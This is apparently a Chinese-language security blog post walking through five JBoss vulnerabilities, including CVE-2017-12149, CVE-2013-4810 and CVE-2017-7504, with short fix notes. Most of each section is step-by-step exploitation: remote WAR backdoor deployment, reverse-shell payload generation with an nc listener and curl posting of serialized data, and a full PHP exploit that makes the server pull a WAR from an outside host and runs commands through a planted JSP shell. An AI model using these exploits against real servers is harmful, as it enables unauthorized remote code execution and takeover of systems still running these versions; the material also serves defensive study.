文章目录

  • JBoss 中间件
    • JBOSS简介
    • JMX Console未授权访问Getshell
      • 漏洞描述
      • 影响版本
      • 漏洞复现
      • 修复方案
    • JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
      • 漏洞描述
      • 影响版本
      • 漏洞复现
      • 修复方案
    • Jboss 5.x/6.x admin-Console后台部署war包Getshell
      • 漏洞描述
      • 影响版本
      • 漏洞复现
      • 修复方案
    • JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
      • 漏洞描述
      • 影响版本
      • 漏洞复现
      • 漏洞修复
    • JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
      • 漏洞描述
      • 影响版本
      • 漏洞复现
      • 漏洞修复

JBoss 中间件

JBOSS简介

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

目录 描述

bin 启动和关闭JBoss 的脚本
client 客户端与JBoss 通信所需的Java 库(JARs)
docs 配置的样本文件(数据库配置等)
docs/dtd 在JBoss 中使用的各种XML 文件的DTD 。
lib 一些JAR,JBoss 启动时加载,且被所有JBoss 配置共享。(不要把你的库放在这里)
server 各种JBoss 配置。每个配置必须放在不同的子目录。子目录的名字表示配置的名字。JBoss 包含3
个默认的配置:minimial,default 和all,在你安装时可以进行选择。
server/all JBoss 的完全配置,启动所有服务,包括集群和IIOP 。(本教程就采用此配置)
server/default JBoss 的默认配置。在没有在JBoss 命令航中指定配置名称时使用。(本教程没有安装此配
置,如果不指定配置名称,启动将会出错)
server/all/conf JBoss 的配置文件。
server/all/data JBoss 的数据库文件。比如,嵌入的数据库,或者JBossMQ 。
server/all/deploy JBoss 的热部署目录。放到这里的任何文件或目录会被JBoss 自动部署。EJB、WAR 、
EAR,甚至服务。
server/all/lib 一些JAR,JBoss 在启动特定配置时加载他们。(default 和minimial 配置也包含这个和下面
两个目录。)
server/all/log JBoss 的日志文件
server/all/tmp JBoss 的临时文件。

JMX Console未授权访问Getshell

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。

影响版本

Jboss4.x以下

漏洞复现

Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。

然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

也可以输入url进行此页面

http://192.168.0.179:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

找到页面中的void addURL()选项来远程加载war包来部署。
填写 war 后门的网址

http://192.168.0.180:91/shell.war

返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

http://192.168.0.179:8080/jmx-console/

访问后门即可

http://192.168.0.179:8080/shell/shell.jsp

修复方案

  • 升级jboss
  • 关闭jmx-console和web-console,提高安全性

JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)

漏洞描述

在Red Hat Enterprise Application Platform 5.2附带的Jboss Application Server中,发现HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不限制对其执行反序列化的类,从而使攻击者可以通过精心制作的序列化数据执行任意代码。

影响版本

影响版本:5.x/6.x

漏洞复现

首先查看jboss版本

该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化用工具来验证,在验证之前我们可以访问路径进行初步判断url://invoker/readonly,看服务器返回情况如下则说明漏洞存在

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xLavvtwl-1657530103632)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657529940660.png)]

也可以使用工具进行检测 DeserializeExploit 如果成功直接上产webshell即可

github地址:

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

使用JavaDeserH2HC进行反弹shell 下载地址

https://github.com/joaomatosf/JavaDeserH2HC
在kali上安装jdk8 这个是安装好的截图
javac -version &&java -version

创建class文件
javac -cp .:commons-collections-3.2.1.jar
ReverseShellCommonsCollectionsHashMap.java
创建反序列化文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap
192.168.0.180:9999
监听kali 9999端口
nc -lvnp 9999
psot提交
curl http://192.168.0.179:8080/invoker/readonly --data-binary
@ReverseShellCommonsCollectionsHashMap.ser

序列化文件生成完成,监听本地9999端口 用curl提交post包

修复方案

  • 不需要 http-invoker.sar 组件的用户可直接删除此组件。
  • 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
  • 升级新版本。
  • 删除 http-invoker.sar 组件。
  • 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:用于对 http invoker 组件进行访问控制。

<url-pattern>/*</url-pattern>

Jboss 5.x/6.x admin-Console后台部署war包Getshell

漏洞描述

Jboss 5.x/6.x admin-console和web-console的账号密码是一样的。因此当web-console无法部署war包时,可以使用admin-console来部署。前提是先得到账号密码,密码保存在jboss/server/default/conf/props/jmx-console-users.properties

影响版本

Jboss 5.x/6.x

漏洞复现

先创建一个带有jsp木马的war包,选择一个shell.jsp的木马,在该处打开cmd并执行jar cvf shell.warshell.jsp。会得到一个shell.war 或者用zip 压缩一个zip包改名shell.war

进入admin-console页面后输入账号密码登录

http://192.168.0.179:8080/admin-console/login.seam?conversationId=2

选择 Web Application (WAR)->Add New Web Application (WAR)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-buENO7P6-1657530103635)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657529993710.png)]

上传后门文件shell.war

访问后门

修复方案

  • 设置高强度口令

server\default\conf\props\jmx-console-users.properties

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

漏洞描述

JBInvokerServlet和JMXInvokerServlet Servlet中存在一个远程执行代码漏洞。未经身份验证的远程攻击者可以通过特制请求利用此漏洞来安装任意应用程序

影响版本

实际上主要集中在 jboss 6.x 版本上:

Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections

漏洞复现

跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径是
/invoker/EJBInvokerServlet

利用代码exp:

<?php
$host=gethostbyname($argv[1]);
$port=$argv[2];
$cmd=$argv[3];
//small jsp shell
//change this if you want, url to the app to be deployed, keep it short
$url="http://retrogod.altervista.org/a.war?";
$url_len=pack("n",strlen($url));
function hex_dump($data, $newline="\n") {static $from = '';
static $to = '';
static $width = 16; static $pad = '.';
if ($from==='')  {for ($i=0; $i<=0xFF; $i++) {$from .= chr($i);$to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;}
}
$hex = str_split(bin2hex($data), $width*2);
$chars = str_split(strtr($data, $from, $to), $width);
$offset = 0;
foreach ($hex as $i => $line)  {echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' .
$chars[$i] . ']' . $newline;$offset += $width;
}
}
$frag_i=
"\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". // ....sr.)
org.jbos
"\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". // s.invoca
tion.Mar
"\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". // shalledI
nvocatio
"\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". // n...'A>.
....xppw
"\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". // .x..G..S
.sr..jav
"\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". // a.lang.I
nteger..
"\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". // .....8..
.I..valu
"\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". // exr..jav
a.lang.N
"\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". // umber...
........
"\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". // xp&...sr
.$org.jb
"\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". // oss.invo
cation.M
"\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". // arshalle
dValue..
"\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77";
$frag_ii="\x00";
$frag_iii=
"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e".   // .....ur. .
[Ljava.
"\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". // lang.Obj
ect;..X.
"\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". // .s)l...x
p....sr.
"\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". // .javax.m
anagemen
"\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". // t.Object
Name....
"\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". // .m.....x
pt.!jbos
"\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". // s.system
:service
"\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". // =MainDep
loyerxt.
"\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". // .deployu
q.~.....
"\x01\x74".
$url_len.
$url.
"\x75\x72\x00".
"\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61".             // ur..[
Ljava.la
"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". // ng.Strin
g;..V...
"\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". // {G...xp.
...t..ja
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67";
$frag_iv=
"\x0d\xd3".
"\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". // ..xw....
.sr."org
"\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". // .jboss.i
nvocatio
"\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". // n.Invoca
tionKey.
"\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". // .r......
..I..ord
"\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". // inalxp..
..sq.~..
"\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". // w.......
..p.W..x
"\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". // w.....sq
.~......
"\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". // sr.#org.
jboss.in
"\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". // vocation
.Invocat
"\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". // ionTypeY
.:..+|..
"\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". // ..I..ord
inalxp..
"\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". // ..sq.~..
....pt..
"\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". // JMX_OBJE
CT_NAMEs
"\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". // r..javax
.managem
"\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". // ent.Obje
ctName..
"\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". // ...m....
.xpt.!jb
"\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". // oss.syst
em:servi
"\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". // ce=MainD
eployerx
"\x78";                               // x
$data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii))
.$frag_iii.$frag_iv;
//$pk=""POST /invoker/JMXInvokerServlet/ HTTP/1.1\r\n". //the same ...
$pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n"."ContentType: application/x-java-serialized-object;
class=org.jboss.invocation.MarshalledInvocation\r\n"."Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n"."User-Agent: Java/1.6.0_21\r\n"."Host: ".$host.":".$port."\r\n"."Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n"."Connection: keep-alive\r\n"."Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: ".strlen($data)."\r\n\r\n".$data;
//echo hex_dump($pk)."\n";
$fp=fsockopen($host,$port,$e,$err,3);
fputs($fp,$pk);
$out=fread($fp,8192);
fclose($fp);
//echo hex_dump($out)."\n";
sleep(5);
$pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n"."Host: ".$host.":".$port."\r\n"."Connection: Close\r\n\r\n";
echo hex_dump($pk)."\n";
$fp=fsockopen($host,$port,$e,$err,3);
fputs($fp,$pk);
$out="";
while (!feof($fp)) {$out.=fread($fp,8192);
}
fclose($fp);
echo $out;
?>#####################################################Google 关键字: inurl:status
EJBInvokerServlet 利用方法:C:\PHP>php exp.php target_ip port
cmd#####################################################参考:
http://www.hack80.com/thread-21814-1-1.htmlhttps://www.exploit-
db.com/exploits/28713/

漏洞修复

  • 升级较新的版本

JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X

漏洞描述

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

影响版本

JBoss AS 4.x及之前版本

漏洞复现

首先验证目标jboss是否存在此漏洞,直接访问/jbossmq-httpil/HTTPServerILServlet 路径下。若访问200,则可能存在漏洞。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DVCU49Xl-1657530103636)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657530041617.png)]

此处我们使用JavaDeserH2HC工具来利用该漏洞,尝试直接弹回一个shell

javac -cp .:commons-collections-3.2.1.jar
ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 反
弹的IP:端口
curl http://192.168.0.179:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary
@ReverseShellCommonsCollectionsHashMap.ser

漏洞修复

  • 升级至最新版本

JBoss 中间件漏洞相关推荐

  1. JBoss中间件漏洞汇总

    目录 一.JBoss是什么? 二.安装环境 1. Jdk 2. 下载JBoos4.6,并进行配置 三. 反序列漏洞 1. HttpInvoker 组件(CVE-2017-12149) 2. JMXIn ...

  2. IIS Nginx Apache Tomcat 中间件漏洞

    简介 中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通.中间件处在操作系统和更高一级应用程序之间.他充当的功能是:将程序运行环境与操作系统隔离,从 ...

  3. WEB常见中间件漏洞原理

    Apache Shiro反序列化 在shiro≤1.2.4版本,默认使CookieRememberMeManager,由于AES使用的key泄露,导致反序化的cookie可控,从而引发反序化攻击.(理 ...

  4. Apache中间件漏洞深析

    Apache中间件漏洞深析 Apache介绍 运行原理介绍 apche解析php流程 Apache攻击手段 换行解析漏洞 多后缀解析漏洞 SSI远程命令执行漏洞 Apache介绍 Apache是世界使 ...

  5. iwebsec靶场 中间件漏洞通关笔记2-Tomcat中间件漏洞

    目录 一.Tomcat漏洞原理 1.弱口令漏洞 2.远程代码执行漏洞 (1)漏洞原理 (2)漏洞影响范围 (3)漏洞利用方法 二.第02关 Tomcat中间件漏洞 1.打开靶场 2.打开Tomcat环 ...

  6. JBoss 反序列化漏洞复现

    JBoss 反序列化漏洞复现 漏洞描述: 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主 ...

  7. Web服务器(中间件)漏洞

    Web服务器又叫Web中间件,常见的Web中间件有 IIS Apache Nginx Tomcat Weblogic JBoss IIS IIS6.0文件解析漏洞,文件名中分号;后面的内容不会被解析, ...

  8. 常见中间件漏洞的总结

    (一) IIS(php中间件) 1.IIS 6 解析漏洞 2.IIS 7 解析漏洞 3.PUT任意文件写入漏洞 4.IIS短文件名漏洞 5.IIS溢出漏洞 6.HTTP.SYS远程代码执行(MS15- ...

  9. weblogic中间件漏洞汇总

    目录 一.weblogic是什么? 二.安装环境 1.下载weblogic 2.安装(其实就是点点点啦) 三.反序列化漏洞 1.XMLDecoder(CVE-2017-10271 2.XMLDecod ...

最新文章

  1. Java项目:人事管理系统(java+javaweb+jdbc)
  2. 关于百度编辑器UEditor在asp.net中的使用方法!
  3. 最老程序员创业札记:全文检索、数据挖掘、推荐引擎应用48
  4. boost::function30的用法实例
  5. HelloWorldProxy is a factory bean
  6. 只学一门java可行吗,java可以作为第一门编程语言学习吗
  7. DRL实战 : 强化学习在广告点击业务中的应用
  8. Handler机制原理图、源码、使用!!!!!
  9. winform html5 ui,C# WinForm UI 设计方法
  10. 阿诺德图像加密c语言,三维arnold变换图像加密算法
  11. 斐讯路由器宽带运营商服务器,斐讯K2路由器的连接及上网设置教程
  12. VUE3 之 生命周期函数
  13. 读《哈佛大学》纪录片 后感
  14. android蓝牙hid 鼠标,BLE HID协议-----蓝牙鼠标代码流分析
  15. 全球与中国汽车牛皮革市场“十四五”前景规划及运营趋势研究报告2022-2028年
  16. Windows10 10大高级功能,个个功能强大,5倍提升工作效率
  17. Unity 内置着色器下载方法
  18. js-视频播放插件Video.js简单使用
  19. GOOGEL翻译软件测试,测试一把google的在线翻译工具
  20. c语言程序灵魂编译后,谭浩强C程序设计第4版精讲视频课程

热门文章

  1. 知乎网的CSS命名规律研究
  2. php如何与微信公众平台连接失败,微信公众平台接入问题,配置失败不知道是哪的原因?...
  3. 每日影视大全隐私政策
  4. 获取高匿代理ip的步骤思路
  5. 【U盘刷机】小米路由器变砖如何100%刷机成功
  6. mathematics中如何计算排列组合
  7. 谁知道下面这个视频中的特效是用什么软件做的?
  8. 大数据时代的新闻变革
  9. [量子计算]量子计算常用高频词汇集(佛系月更)
  10. h5获取android手机版本,Vue.js怎么获取手机系统型号、版本、浏览器类型